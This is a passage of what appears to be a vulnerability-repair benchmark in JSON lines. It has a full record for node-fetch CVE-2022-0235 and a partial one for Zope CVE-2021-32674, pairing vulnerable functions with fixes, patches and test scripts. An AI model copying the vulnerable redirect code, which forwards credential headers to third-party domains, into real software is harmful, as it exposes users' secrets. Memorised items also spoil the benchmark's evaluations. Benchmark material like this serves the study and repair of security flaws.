\t\t\t\tmw.restore.get_progress(100);\n \t\t\t\tmw.restore.get_log_check('stop');\n \t\t\t\t//mw.spinner({element: \".button-start\", size: 30, color: 'white'}).hide()\n\n--- /dev/null\n+++ b/userfiles/modules/admin/backup/js/restore.js\n@@ -0,0 +1,4 @@\n+    reload_mw_db: function () {\n+        $.post(mw.settings.api_url + 'mw_post_update');\n+        mw.notification.success(\"The DB was reloaded\");\n+    }, \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0235", "cve_description": "node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/node-fetch/node-fetch", "patch_url": ["https://github.com/node-fetch/node-fetch/commit/5c32f002fdd65b1c6a8f1e3620210813d45c7e60", "https://github.com/node-fetch/node-fetch/commit/36e47e8a6406185921e4985dcbeff140d73eaa10", "https://github.com/node-fetch/node-fetch/commit/1ef4b560a17e644a02a3bfdea7631ffeee578b35"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_48_1", "commit": "f2c3d56", "file_path": "src/index.js", "start_line": 37, "end_line": 311, "snippet": "export default async function fetch(url, options_) {\n\treturn new Promise((resolve, reject) => {\n\t\t// Build request object\n\t\tconst request = new Request(url, options_);\n\t\tconst {parsedURL, options} = getNodeRequestOptions(request);\n\t\tif (!supportedSchemas.has(parsedURL.protocol)) {\n\t\t\tthrow new TypeError(`node-fetch cannot load ${url}. URL scheme \"${parsedURL.protocol.replace(/:$/, '')}\" is not supported.`);\n\t\t}\n\n\t\tif (parsedURL.protocol === 'data:') {\n\t\t\tconst data = dataUriToBuffer(request.url);\n\t\t\tconst response = new Response(data, {headers: {'Content-Type': data.typeFull}});\n\t\t\tresolve(response);\n\t\t\treturn;\n\t\t}\n\n\t\t// Wrap http.request into fetch\n\t\tconst send = (parsedURL.protocol === 'https:' ? https : http).request;\n\t\tconst {signal} = request;\n\t\tlet response = null;\n\n\t\tconst abort = () => {\n\t\t\tconst error = new AbortError('The operation was aborted.');\n\t\t\treject(error);\n\t\t\tif (request.body && request.body instanceof Stream.Readable) {\n\t\t\t\trequest.body.destroy(error);\n\t\t\t}\n\n\t\t\tif (!response || !response.body) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tresponse.body.emit('error', error);\n\t\t};\n\n\t\tif (signal && signal.aborted) {\n\t\t\tabort();\n\t\t\treturn;\n\t\t}\n\n\t\tconst abortAndFinalize = () => {\n\t\t\tabort();\n\t\t\tfinalize();\n\t\t};\n\n\t\t// Send request\n\t\tconst request_ = send(parsedURL.toString(), options);\n\n\t\tif (signal) {\n\t\t\tsignal.addEventListener('abort', abortAndFinalize);\n\t\t}\n\n\t\tconst finalize = () => {\n\t\t\trequest_.abort();\n\t\t\tif (signal) {\n\t\t\t\tsignal.removeEventListener('abort', abortAndFinalize);\n\t\t\t}\n\t\t};\n\n\t\trequest_.on('error', error => {\n\t\t\treject(new FetchError(`request to ${request.url} failed, reason: ${error.message}`, 'system', error));\n\t\t\tfinalize();\n\t\t});\n\n\t\tfixResponseChunkedTransferBadEnding(request_, error => {\n\t\t\tresponse.body.destroy(error);\n\t\t});\n\n\t\t/* c8 ignore next 18 */\n\t\tif (process.version < 'v14') {\n\t\t\t// Before Node.js 14, pipeline() does not fully support async iterators and does not always\n\t\t\t// properly handle when the socket close/end events are out of order.\n\t\t\trequest_.on('socket', s => {\n\t\t\t\tlet endedWithEventsCount;\n\t\t\t\ts.prependListener('end', () => {\n\t\t\t\t\tendedWithEventsCount = s._eventsCount;\n\t\t\t\t});\n\t\t\t\ts.prependListener('close', hadError => {\n\t\t\t\t\t// if end happened before close but the socket didn't emit an error, do it now\n\t\t\t\t\tif (response && endedWithEventsCount < s._eventsCount && !hadError) {\n\t\t\t\t\t\tconst error = new Error('Premature close');\n\t\t\t\t\t\terror.code = 'ERR_STREAM_PREMATURE_CLOSE';\n\t\t\t\t\t\tresponse.body.emit('error', error);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\n\t\trequest_.on('response', response_ => {\n\t\t\trequest_.setTimeout(0);\n\t\t\tconst headers = fromRawHeaders(response_.rawHeaders);\n\n\t\t\t// HTTP fetch step 5\n\t\t\tif (isRedirect(response_.statusCode)) {\n\t\t\t\t// HTTP fetch step 5.2\n\t\t\t\tconst location = headers.get('Location');\n\n\t\t\t\t// HTTP fetch step 5.3\n\t\t\t\tlet locationURL = null;\n\t\t\t\ttry {\n\t\t\t\t\tlocationURL = location === null ? null : new URL(location, request.url);\n\t\t\t\t} catch {\n\t\t\t\t\t// error here can only be invalid URL in Location: header\n\t\t\t\t\t// do not throw when options.redirect == manual\n\t\t\t\t\t// let the user extract the errorneous redirect URL\n\t\t\t\t\tif (request.redirect !== 'manual') {\n\t\t\t\t\t\treject(new FetchError(`uri requested responds with an invalid redirect URL: ${location}`, 'invalid-redirect'));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// HTTP fetch step 5.5\n\t\t\t\tswitch (request.redirect) {\n\t\t\t\t\tcase 'error':\n\t\t\t\t\t\treject(new FetchError(`uri requested responds with a redirect, redirect mode is set to error: ${request.url}`, 'no-redirect'));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\tcase 'manual':\n\t\t\t\t\t\t// Node-fetch-specific step: make manual redirect a bit easier to use by setting the Location header value to the resolved URL.\n\t\t\t\t\t\tif (locationURL !== null) {\n\t\t\t\t\t\t\theaders.set('Location', locationURL);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'follow': {\n\t\t\t\t\t\t// HTTP-redirect fetch step 2\n\t\t\t\t\t\tif (locationURL === null) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 5\n\t\t\t\t\t\tif (request.counter >= request.follow) {\n\t\t\t\t\t\t\treject(new FetchError(`maximum redirect reached at: ${request.url}`, 'max-redirect'));\n\t\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 6 (counter increment)\n\t\t\t\t\t\t// Create a new Request object.\n\t\t\t\t\t\tconst requestOptions = {\n\t\t\t\t\t\t\theaders: new Headers(request.headers),\n\t\t\t\t\t\t\tfollow: request.follow,\n\t\t\t\t\t\t\tcounter: request.counter + 1,\n\t\t\t\t\t\t\tagent: request.agent,\n\t\t\t\t\t\t\tcompress: request.compress,\n\t\t\t\t\t\t\tmethod: request.method,\n\t\t\t\t\t\t\tbody: clone(request),\n\t\t\t\t\t\t\tsignal: request.signal,\n\t\t\t\t\t\t\tsize: request.size,\n\t\t\t\t\t\t\treferrer: request.referrer,\n\t\t\t\t\t\t\treferrerPolicy: request.referrerPolicy\n\t\t\t\t\t\t};\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 9\n\t\t\t\t\t\tif (response_.statusCode !== 303 && request.body && options_.body instanceof Stream.Readable) {\n\t\t\t\t\t\t\treject(new FetchError('Cannot follow redirect with body being a readable stream', 'unsupported-redirect'));\n\t\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 11\n\t\t\t\t\t\tif (response_.statusCode === 303 || ((response_.statusCode === 301 || response_.statusCode === 302) && request.method === 'POST')) {\n\t\t\t\t\t\t\trequestOptions.method = 'GET';\n\t\t\t\t\t\t\trequestOptions.body = undefined;\n\t\t\t\t\t\t\trequestOptions.headers.delete('content-length');\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 14\n\t\t\t\t\t\tconst responseReferrerPolicy = parseReferrerPolicyFromHeader(headers);\n\t\t\t\t\t\tif (responseReferrerPolicy) {\n\t\t\t\t\t\t\trequestOptions.referrerPolicy = responseReferrerPolicy;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 15\n\t\t\t\t\t\tresolve(fetch(new Request(locationURL, requestOptions)));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\treturn reject(new TypeError(`Redirect option '${request.redirect}' is not a valid value of RequestRedirect`));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Prepare response\n\t\t\tif (signal) {\n\t\t\t\tresponse_.once('end', () => {\n\t\t\t\t\tsignal.removeEventListener('abort', abortAndFinalize);\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tlet body = pump(response_, new PassThrough(), reject);\n\t\t\t// see https://github.com/nodejs/node/pull/29376\n\t\t\tif (process.version < 'v12.10') {\n\t\t\t\tresponse_.on('aborted', abortAndFinalize);\n\t\t\t}\n\n\t\t\tconst responseOptions = {\n\t\t\t\turl: request.url,\n\t\t\t\tstatus: response_.statusCode,\n\t\t\t\tstatusText: response_.statusMessage,\n\t\t\t\theaders,\n\t\t\t\tsize: request.size,\n\t\t\t\tcounter: request.counter,\n\t\t\t\thighWaterMark: request.highWaterMark\n\t\t\t};\n\n\t\t\t// HTTP-network fetch step 12.1.1.3\n\t\t\tconst codings = headers.get('Content-Encoding');\n\n\t\t\t// HTTP-network fetch step 12.1.1.4: handle content codings\n\n\t\t\t// in following scenarios we ignore compression support\n\t\t\t// 1. compression support is disabled\n\t\t\t// 2. HEAD request\n\t\t\t// 3. no Content-Encoding header\n\t\t\t// 4. no content response (204)\n\t\t\t// 5. content not modified response (304)\n\t\t\tif (!request.compress || request.method === 'HEAD' || codings === null || response_.statusCode === 204 || response_.statusCode === 304) {\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For Node v6+\n\t\t\t// Be less strict when decoding compressed responses, since sometimes\n\t\t\t// servers send slightly invalid responses that are still accepted\n\t\t\t// by common browsers.\n\t\t\t// Always using Z_SYNC_FLUSH is what cURL does.\n\t\t\tconst zlibOptions = {\n\t\t\t\tflush: zlib.Z_SYNC_FLUSH,\n\t\t\t\tfinishFlush: zlib.Z_SYNC_FLUSH\n\t\t\t};\n\n\t\t\t// For gzip\n\t\t\tif (codings === 'gzip' || codings === 'x-gzip') {\n\t\t\t\tbody = pump(body, zlib.createGunzip(zlibOptions), reject);\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For deflate\n\t\t\tif (codings === 'deflate' || codings === 'x-deflate') {\n\t\t\t\t// Handle the infamous raw deflate response from old servers\n\t\t\t\t// a hack for old IIS and Apache servers\n\t\t\t\tconst raw = pump(response_, new PassThrough(), reject);\n\t\t\t\traw.once('data', chunk => {\n\t\t\t\t\t// See http://stackoverflow.com/questions/37519828\n\t\t\t\t\tbody = (chunk[0] & 0x0F) === 0x08 ? pump(body, zlib.createInflate(), reject) : pump(body, zlib.createInflateRaw(), reject);\n\n\t\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\t\tresolve(response);\n\t\t\t\t});\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For br\n\t\t\tif (codings === 'br') {\n\t\t\t\tbody = pump(body, zlib.createBrotliDecompress(), reject);\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Otherwise, use response as-is\n\t\t\tresponse = new Response(body, responseOptions);\n\t\t\tresolve(response);\n\t\t});\n\n\t\t// eslint-disable-next-line promise/prefer-await-to-then\n\t\twriteToStream(request_, request).catch(reject);\n\t});\n}"}], "fix_func": [{"id": "fix_js_48_1", "commit": "5c32f002fdd65b1c6a8f1e3620210813d45c7e60", "file_path": "src/index.js", "start_line": 38, "end_line": 324, "snippet": "export default async function fetch(url, options_) {\n\treturn new Promise((resolve, reject) => {\n\t\t// Build request object\n\t\tconst request = new Request(url, options_);\n\t\tconst {parsedURL, options} = getNodeRequestOptions(request);\n\t\tif (!supportedSchemas.has(parsedURL.protocol)) {\n\t\t\tthrow new TypeError(`node-fetch cannot load ${url}. URL scheme \"${parsedURL.protocol.replace(/:$/, '')}\" is not supported.`);\n\t\t}\n\n\t\tif (parsedURL.protocol === 'data:') {\n\t\t\tconst data = dataUriToBuffer(request.url);\n\t\t\tconst response = new Response(data, {headers: {'Content-Type': data.typeFull}});\n\t\t\tresolve(response);\n\t\t\treturn;\n\t\t}\n\n\t\t// Wrap http.request into fetch\n\t\tconst send = (parsedURL.protocol === 'https:' ? https : http).request;\n\t\tconst {signal} = request;\n\t\tlet response = null;\n\n\t\tconst abort = () => {\n\t\t\tconst error = new AbortError('The operation was aborted.');\n\t\t\treject(error);\n\t\t\tif (request.body && request.body instanceof Stream.Readable) {\n\t\t\t\trequest.body.destroy(error);\n\t\t\t}\n\n\t\t\tif (!response || !response.body) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tresponse.body.emit('error', error);\n\t\t};\n\n\t\tif (signal && signal.aborted) {\n\t\t\tabort();\n\t\t\treturn;\n\t\t}\n\n\t\tconst abortAndFinalize = () => {\n\t\t\tabort();\n\t\t\tfinalize();\n\t\t};\n\n\t\t// Send request\n\t\tconst request_ = send(parsedURL.toString(), options);\n\n\t\tif (signal) {\n\t\t\tsignal.addEventListener('abort', abortAndFinalize);\n\t\t}\n\n\t\tconst finalize = () => {\n\t\t\trequest_.abort();\n\t\t\tif (signal) {\n\t\t\t\tsignal.removeEventListener('abort', abortAndFinalize);\n\t\t\t}\n\t\t};\n\n\t\trequest_.on('error', error => {\n\t\t\treject(new FetchError(`request to ${request.url} failed, reason: ${error.message}`, 'system', error));\n\t\t\tfinalize();\n\t\t});\n\n\t\tfixResponseChunkedTransferBadEnding(request_, error => {\n\t\t\tresponse.body.destroy(error);\n\t\t});\n\n\t\t/* c8 ignore next 18 */\n\t\tif (process.version < 'v14') {\n\t\t\t// Before Node.js 14, pipeline() does not fully support async iterators and does not always\n\t\t\t// properly handle when the socket close/end events are out of order.\n\t\t\trequest_.on('socket', s => {\n\t\t\t\tlet endedWithEventsCount;\n\t\t\t\ts.prependListener('end', () => {\n\t\t\t\t\tendedWithEventsCount = s._eventsCount;\n\t\t\t\t});\n\t\t\t\ts.prependListener('close', hadError => {\n\t\t\t\t\t// if end happened before close but the socket didn't emit an error, do it now\n\t\t\t\t\tif (response && endedWithEventsCount < s._eventsCount && !hadError) {\n\t\t\t\t\t\tconst error = new Error('Premature close');\n\t\t\t\t\t\terror.code = 'ERR_STREAM_PREMATURE_CLOSE';\n\t\t\t\t\t\tresponse.body.emit('error', error);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\n\t\trequest_.on('response', response_ => {\n\t\t\trequest_.setTimeout(0);\n\t\t\tconst headers = fromRawHeaders(response_.rawHeaders);\n\n\t\t\t// HTTP fetch step 5\n\t\t\tif (isRedirect(response_.statusCode)) {\n\t\t\t\t// HTTP fetch step 5.2\n\t\t\t\tconst location = headers.get('Location');\n\n\t\t\t\t// HTTP fetch step 5.3\n\t\t\t\tlet locationURL = null;\n\t\t\t\ttry {\n\t\t\t\t\tlocationURL = location === null ? null : new URL(location, request.url);\n\t\t\t\t} catch {\n\t\t\t\t\t// error here can only be invalid URL in Location: header\n\t\t\t\t\t// do not throw when options.redirect == manual\n\t\t\t\t\t// let the user extract the errorneous redirect URL\n\t\t\t\t\tif (request.redirect !== 'manual') {\n\t\t\t\t\t\treject(new FetchError(`uri requested responds with an invalid redirect URL: ${location}`, 'invalid-redirect'));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// HTTP fetch step 5.5\n\t\t\t\tswitch (request.redirect) {\n\t\t\t\t\tcase 'error':\n\t\t\t\t\t\treject(new FetchError(`uri requested responds with a redirect, redirect mode is set to error: ${request.url}`, 'no-redirect'));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\tcase 'manual':\n\t\t\t\t\t\t// Node-fetch-specific step: make manual redirect a bit easier to use by setting the Location header value to the resolved URL.\n\t\t\t\t\t\tif (locationURL !== null) {\n\t\t\t\t\t\t\theaders.set('Location', locationURL);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'follow': {\n\t\t\t\t\t\t// HTTP-redirect fetch step 2\n\t\t\t\t\t\tif (locationURL === null) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 5\n\t\t\t\t\t\tif (request.counter >= request.follow) {\n\t\t\t\t\t\t\treject(new FetchError(`maximum redirect reached at: ${request.url}`, 'max-redirect'));\n\t\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 6 (counter increment)\n\t\t\t\t\t\t// Create a new Request object.\n\t\t\t\t\t\tconst requestOptions = {\n\t\t\t\t\t\t\theaders: new Headers(request.headers),\n\t\t\t\t\t\t\tfollow: request.follow,\n\t\t\t\t\t\t\tcounter: request.counter + 1,\n\t\t\t\t\t\t\tagent: request.agent,\n\t\t\t\t\t\t\tcompress: request.compress,\n\t\t\t\t\t\t\tmethod: request.method,\n\t\t\t\t\t\t\tbody: clone(request),\n\t\t\t\t\t\t\tsignal: request.signal,\n\t\t\t\t\t\t\tsize: request.size,\n\t\t\t\t\t\t\treferrer: request.referrer,\n\t\t\t\t\t\t\treferrerPolicy: request.referrerPolicy\n\t\t\t\t\t\t};\n\n\t\t\t\t\t\t// when forwarding sensitive headers like \"Authorization\",\n\t\t\t\t\t\t// \"WWW-Authenticate\", and \"Cookie\" to untrusted targets.\n\t\t\t\t\t\t// These headers will be ignored when following a redirect to a domain\n\t\t\t\t\t\t// that is not a subdomain match or exact match of the initial domain.\n\t\t\t\t\t\t// For example, a redirect from \"foo.com\" to either \"foo.com\" or \"sub.foo.com\"\n\t\t\t\t\t\t// will forward the sensitive headers, but a redirect to \"bar.com\" will not.\n\t\t\t\t\t\tif (!isDomainOrSubdomain(request.url, locationURL)) {\n\t\t\t\t\t\t\tfor (const name of ['authorization', 'www-authenticate', 'cookie', 'cookie2']) {\n\t\t\t\t\t\t\t\trequestOptions.headers.delete(name);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 9\n\t\t\t\t\t\tif (response_.statusCode !== 303 && request.body && options_.body instanceof Stream.Readable) {\n\t\t\t\t\t\t\treject(new FetchError('Cannot follow redirect with body being a readable stream', 'unsupported-redirect'));\n\t\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 11\n\t\t\t\t\t\tif (response_.statusCode === 303 || ((response_.statusCode === 301 || response_.statusCode === 302) && request.method === 'POST')) {\n\t\t\t\t\t\t\trequestOptions.method = 'GET';\n\t\t\t\t\t\t\trequestOptions.body = undefined;\n\t\t\t\t\t\t\trequestOptions.headers.delete('content-length');\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 14\n\t\t\t\t\t\tconst responseReferrerPolicy = parseReferrerPolicyFromHeader(headers);\n\t\t\t\t\t\tif (responseReferrerPolicy) {\n\t\t\t\t\t\t\trequestOptions.referrerPolicy = responseReferrerPolicy;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// HTTP-redirect fetch step 15\n\t\t\t\t\t\tresolve(fetch(new Request(locationURL, requestOptions)));\n\t\t\t\t\t\tfinalize();\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\treturn reject(new TypeError(`Redirect option '${request.redirect}' is not a valid value of RequestRedirect`));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Prepare response\n\t\t\tif (signal) {\n\t\t\t\tresponse_.once('end', () => {\n\t\t\t\t\tsignal.removeEventListener('abort', abortAndFinalize);\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tlet body = pump(response_, new PassThrough(), reject);\n\t\t\t// see https://github.com/nodejs/node/pull/29376\n\t\t\tif (process.version < 'v12.10') {\n\t\t\t\tresponse_.on('aborted', abortAndFinalize);\n\t\t\t}\n\n\t\t\tconst responseOptions = {\n\t\t\t\turl: request.url,\n\t\t\t\tstatus: response_.statusCode,\n\t\t\t\tstatusText: response_.statusMessage,\n\t\t\t\theaders,\n\t\t\t\tsize: request.size,\n\t\t\t\tcounter: request.counter,\n\t\t\t\thighWaterMark: request.highWaterMark\n\t\t\t};\n\n\t\t\t// HTTP-network fetch step 12.1.1.3\n\t\t\tconst codings = headers.get('Content-Encoding');\n\n\t\t\t// HTTP-network fetch step 12.1.1.4: handle content codings\n\n\t\t\t// in following scenarios we ignore compression support\n\t\t\t// 1. compression support is disabled\n\t\t\t// 2. HEAD request\n\t\t\t// 3. no Content-Encoding header\n\t\t\t// 4. no content response (204)\n\t\t\t// 5. content not modified response (304)\n\t\t\tif (!request.compress || request.method === 'HEAD' || codings === null || response_.statusCode === 204 || response_.statusCode === 304) {\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For Node v6+\n\t\t\t// Be less strict when decoding compressed responses, since sometimes\n\t\t\t// servers send slightly invalid responses that are still accepted\n\t\t\t// by common browsers.\n\t\t\t// Always using Z_SYNC_FLUSH is what cURL does.\n\t\t\tconst zlibOptions = {\n\t\t\t\tflush: zlib.Z_SYNC_FLUSH,\n\t\t\t\tfinishFlush: zlib.Z_SYNC_FLUSH\n\t\t\t};\n\n\t\t\t// For gzip\n\t\t\tif (codings === 'gzip' || codings === 'x-gzip') {\n\t\t\t\tbody = pump(body, zlib.createGunzip(zlibOptions), reject);\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For deflate\n\t\t\tif (codings === 'deflate' || codings === 'x-deflate') {\n\t\t\t\t// Handle the infamous raw deflate response from old servers\n\t\t\t\t// a hack for old IIS and Apache servers\n\t\t\t\tconst raw = pump(response_, new PassThrough(), reject);\n\t\t\t\traw.once('data', chunk => {\n\t\t\t\t\t// See http://stackoverflow.com/questions/37519828\n\t\t\t\t\tbody = (chunk[0] & 0x0F) === 0x08 ? pump(body, zlib.createInflate(), reject) : pump(body, zlib.createInflateRaw(), reject);\n\n\t\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\t\tresolve(response);\n\t\t\t\t});\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// For br\n\t\t\tif (codings === 'br') {\n\t\t\t\tbody = pump(body, zlib.createBrotliDecompress(), reject);\n\t\t\t\tresponse = new Response(body, responseOptions);\n\t\t\t\tresolve(response);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Otherwise, use response as-is\n\t\t\tresponse = new Response(body, responseOptions);\n\t\t\tresolve(response);\n\t\t});\n\n\t\t// eslint-disable-next-line promise/prefer-await-to-then\n\t\twriteToStream(request_, request).catch(reject);\n\t});\n}"}, {"id": "fix_js_48_2", "commit": "5c32f002fdd65b1c6a8f1e3620210813d45c7e60", "file_path": "src/utils/is.js", "start_line": 59, "end_line": 84, "snippet": "\n/**\n * isDomainOrSubdomain reports whether sub is a subdomain (or exact match) of\n * the parent domain.\n *\n * Both domains must already be in canonical form.\n * @param {string|URL} sub\n * @param {string|URL} parent\n */\nexport const isDomainOrSubdomain = (sub, parent) => {\n\tconst a = new URL(sub).hostname;\n\tconst b = new URL(parent).hostname;\n\n\tif (a === b) {\n\t\treturn true;\n\t}\n\n\t// If sub is \"foo.example.com\" and parent is \"example.com\",\n\t// that means sub must end in \".\"+parent.\n\t// Do it without allocating.\n\tif (!a.endsWith(b)) {\n\t\treturn false;\n\t}\n\n\treturn a[a.length - b.length - 1] === '.';\n};"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -152,6 +152,18 @@\n \t\t\t\t\t\t\treferrerPolicy: request.referrerPolicy\n \t\t\t\t\t\t};\n \n+\t\t\t\t\t\t// when forwarding sensitive headers like \"Authorization\",\n+\t\t\t\t\t\t// \"WWW-Authenticate\", and \"Cookie\" to untrusted targets.\n+\t\t\t\t\t\t// These headers will be ignored when following a redirect to a domain\n+\t\t\t\t\t\t// that is not a subdomain match or exact match of the initial domain.\n+\t\t\t\t\t\t// For example, a redirect from \"foo.com\" to either \"foo.com\" or \"sub.foo.com\"\n+\t\t\t\t\t\t// will forward the sensitive headers, but a redirect to \"bar.com\" will not.\n+\t\t\t\t\t\tif (!isDomainOrSubdomain(request.url, locationURL)) {\n+\t\t\t\t\t\t\tfor (const name of ['authorization', 'www-authenticate', 'cookie', 'cookie2']) {\n+\t\t\t\t\t\t\t\trequestOptions.headers.delete(name);\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n+\n \t\t\t\t\t\t// HTTP-redirect fetch step 9\n \t\t\t\t\t\tif (response_.statusCode !== 303 && request.body && options_.body instanceof Stream.Readable) {\n \t\t\t\t\t\t\treject(new FetchError('Cannot follow redirect with body being a readable stream', 'unsupported-redirect'));\n\n--- /dev/null\n+++ b/src/index.js\n@@ -0,0 +1,26 @@\n+\n+/**\n+ * isDomainOrSubdomain reports whether sub is a subdomain (or exact match) of\n+ * the parent domain.\n+ *\n+ * Both domains must already be in canonical form.\n+ * @param {string|URL} sub\n+ * @param {string|URL} parent\n+ */\n+export const isDomainOrSubdomain = (sub, parent) => {\n+\tconst a = new URL(sub).hostname;\n+\tconst b = new URL(parent).hostname;\n+\n+\tif (a === b) {\n+\t\treturn true;\n+\t}\n+\n+\t// If sub is \"foo.example.com\" and parent is \"example.com\",\n+\t// that means sub must end in \".\"+parent.\n+\t// Do it without allocating.\n+\tif (!a.endsWith(b)) {\n+\t\treturn false;\n+\t}\n+\n+\treturn a[a.length - b.length - 1] === '.';\n+};\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0235:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-fetch\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --timeout 10000 --grep \"should not forward secure headers to 3th party\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0235:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-fetch\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/main.js --grep \"should send request with a referrer and respect redirected referrer-policy|should send request with referrerPolicy strict-origin-when-cross-origin by default|should send request with a referrer|should send request without a referrer by default|supports supplying a famliy option to the agent|supports supplying a lookup function to the agent|should handle chunked response with final chunk and EOM in separate packets|should reject invalid json response|should handle response with no status text|should handle no content response|should reject when trying to parse no content response as json|should handle not modified response|should decompress gzip response|should support https request|should decompress slightly invalid gzip response|should make capitalised Content-Encoding lowercase|should decompress deflate response|should decompress deflate raw response from old apache server|should decompress brotli response|should skip decompression if unsupported|should reject if response compression is invalid\" --invert\n"}
{"cve_id": "CVE-2021-32674", "cve_description": "Zope is an open-source web application server. This advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities. Most Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use. By default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk. The problem has been fixed in Zope 5.2.1 and 4.6.1. The workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/zopefoundation/Zope", "patch_url": ["https://github.com/zopefoundation/Zope/commit/1d897910139e2c0b11984fc9b78c1da1365bec21"], "programing_language": "Python", "vul_func": [{"id": "vul_py_148_1", "commit": "15e521b", "file_path": "src/Products/PageTemplates/Expressions.py", "start_line": 65, "end_line": 91, "snippet": "def boboAwareZopeTraverse(object, path_items, econtext):\n    \"\"\"Traverses a sequence of names, first trying attributes then items.\n\n    This uses zope.traversing path traversal where possible and interacts\n    correctly with objects providing OFS.interface.ITraversable when\n    necessary (bobo-awareness).\n    \"\"\"\n    request = getattr(econtext, 'request', None)\n    path_items = list(path_items)\n    path_items.reverse()\n\n    while path_items:\n        name = path_items.pop()\n\n        if name == '_':\n            warnings.warn('Traversing to the name `_` is deprecated '\n                          'and will be removed in Zope 6.',\n                          DeprecationWarning)\n        elif name.startswith('_'):\n            raise NotFound(name)\n\n        if OFS.interfaces.ITraversable.providedBy(object):\n            object 